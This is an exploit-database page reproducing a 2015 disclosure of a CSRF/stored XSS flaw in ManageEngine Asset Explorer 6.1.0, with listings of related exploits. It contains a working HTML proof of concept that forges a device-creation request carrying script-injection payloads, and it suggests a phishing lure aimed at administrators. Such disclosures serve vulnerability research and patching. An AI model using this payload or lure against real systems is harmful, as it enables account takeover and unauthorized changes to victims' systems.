Menu

Search for hundreds of thousands of exploits

"Manage Engine Asset Explorer 6.1.0 Build: 6110 - Cross-Site Request Forgery"

Author

Exploit author

"Kaustubh G. Padwad"

Platform

Exploit platform

windows

Release date

Exploit published date

2015-05-08

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
===============================================================================
CSRF/Stored XSS Vulnerability in  Manage Engine Asset Explorer
===============================================================================

. contents:: Table Of Content

Overview
========

* Title :CSRF/Stored XSS vulnerability in Manage Engine Asset Explorer
* Author: Kaustubh G. Padwad
* Plugin Homepage: https://www.manageengine.com/products/asset-explorer/
* Severity: HIGH
* Version Affected: Version 6.1.0 Build: 6110
* Version Tested : Version 6.1.0 Build: 6110
* version patched: 
* CVE ID : 
Description 
===========

Vulnerable Parameter  
--------------------

* Too many parameters (All Device properties)


   
About Vulnerability
-------------------
This Product is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can execute arbitrary code into Asset list(AssetListView.do). Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc. 

Vulnerability Class
===================     
Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting       (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) 

Steps to Reproduce: (POC)
=========================
* Add follwing code to webserver and send that malicious link to application Admin.
* The admin should be loggedin when he clicks on the link.
* Soical enginering might help here 

For Example :- Device password has been changed click here to reset

####################CSRF COde#######################

<html>
  <body>
    <form action="http://192.168.1.25:8080/AssetDef.do" method="POST">
      <input type="hidden" name="typeId" value="3" />
      <input type="hidden" name="ciTypeId" value="11" />
      <input type="hidden" name="ciId" value="null" />
      <input type="hidden" name="ciName" value="<div/onmouseover='alert(1)'> style="x:">" />
      <input type="hidden" name="assetName" value="<div/onmouseover='alert(1)'> style="x:">" />
      <input type="hidden" name="componentID" value="3" />
      <input type="hidden" name="CI_NetworkInfo_IPADDRESS" value="127.0.0.1" />
      <input type="hidden" name="CI_RouterCI_NVRAMSIZE" value="12" />
      <input type="hidden" name="CI_RouterCI_DRAMSIZE" value="12" />
      <input type="hidden" name="CI_RouterCI_FLASHSIZE" value="12" />
      <input type="hidden" name="CI_RouterCI_OSTYPE" value="12" />
      <input type="hidden" name="CI_RouterCI_CPU" value="12" />
      <input type="hidden" name="CI_RouterCI_ESTIMATEDBW" value="12" />
      <input type="hidden" name="CI_RouterCI_OSVERSION" value="12" />
      <input type="hidden" name="CI_RouterCI_FIRMWAREREVISION" value="12" />
      <input type="hidden" name="CI_RouterCI_CPUREVISION" value="12" />
      <input type="hidden" name="CI_RouterCI_CONFIGREGISTER" value="12" />
      <input type="hidden" name="CI_NetworkInfo_IPNETMASK" value="12" />
      <input type="hidden" name="CI_NetworkInfo_MACADDRESS" value="12" />
      <input type="hidden" name="CI_BaseElement_IMPACTID" value="1" />
      <input type="hidden" name="ciDescription" value="<div/onmouseover='alert(1)'> style="x:">" />

      <input type="hidden" name="activeStateId" value="2" />
      <input type="hidden" name="isStateChange" value="" />
      <input type="hidden" name="resourceState" value="1" />
      <input type="hidden" name="assignedType" value="Assign" />
      <input type="hidden" name="asset" value="0" />
      <input type="hidden" name="user" value="0" />
      <input type="hidden" name="department" value="0" />
      <input type="hidden" name="leaseStart" value="" />
      <input type="hidden" name="leaseEnd" value="" />
      <input type="hidden" name="site" value="-1" />
      <input type="hidden" name="location" value="" />
      <input type="hidden" name="vendorID" value="0" />
      <input type="hidden" name="assetPrice" value="21" />
      <input type="hidden" name="assetTag" value="" />
      <input type="hidden" name="acqDate" value="" />
      <input type="hidden" name="assetSerialNo" value="" />
      <input type="hidden" name="expDate" value="" />
      <input type="hidden" name="assetBarCode" value="" />
      <input type="hidden" name="warrantyExpDate" value="" />
      <input type="hidden" name="depreciationTypeId" value="" />
      <input type="hidden" name="declinePercent" value="" />
      <input type="hidden" name="usefulLife" value="" />
      <input type="hidden" name="depreciationPercent" value="" />
      <input type="hidden" name="salvageValue" value="" />
      <input type="hidden" name="isProductInfoChanged" value="" />
      <input type="hidden" name="assetID" value="" />
      <input type="hidden" name="previousSite" value="" />
      <input type="hidden" name="addAsset" value="Save" />
      <input type="hidden" name="purchasecost" value="" />
      <input type="hidden" name="modifycost" value="true" />
      <input type="hidden" name="oldAssociatedVendor" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>




Mitigation 
==========
Update to version 6.1

Change Log
==========
https://www.manageengine.com/products/asset-explorer/sp-readme.html

Disclosure 
==========
30-March-2015 Reported to Developer
27-April-2015 Fixed By Vendor
credits
=======
* Kaustubh Padwad 
* Information Security Researcher
* kingkaustubh@me.com 
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2019-02-12 "Skyworth GPON HomeGateways and Optical Network Terminals - Stack Overflow" dos asp "Kaustubh G. Padwad"
2016-02-16 "ManageEngine OPutils 8.0 - Multiple Vulnerabilities" webapps multiple "Kaustubh G. Padwad"
2016-02-16 "ManageEngine Network Configuration Management Build 11000 - Privilege Escalation" webapps multiple "Kaustubh G. Padwad"
2016-02-02 "Manage Engine Network Configuration Manager Build 11000 - Cross-Site Request Forgery" webapps multiple "Kaustubh G. Padwad"
2015-05-08 "WordPress Plugin Ultimate Profile Builder 2.3.3 - Cross-Site Request Forgery" webapps php "Kaustubh G. Padwad"
2015-05-08 "Manage Engine Asset Explorer 6.1.0 Build: 6110 - Cross-Site Request Forgery" webapps windows "Kaustubh G. Padwad"
2015-05-08 "WordPress Plugin ClickBank Ads 1.7 - Cross-Site Request Forgery" webapps php "Kaustubh G. Padwad"
2015-05-08 "WordPress Plugin Ad Inserter 1.5.2 - Cross-Site Request Forgery" webapps php "Kaustubh G. Padwad" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected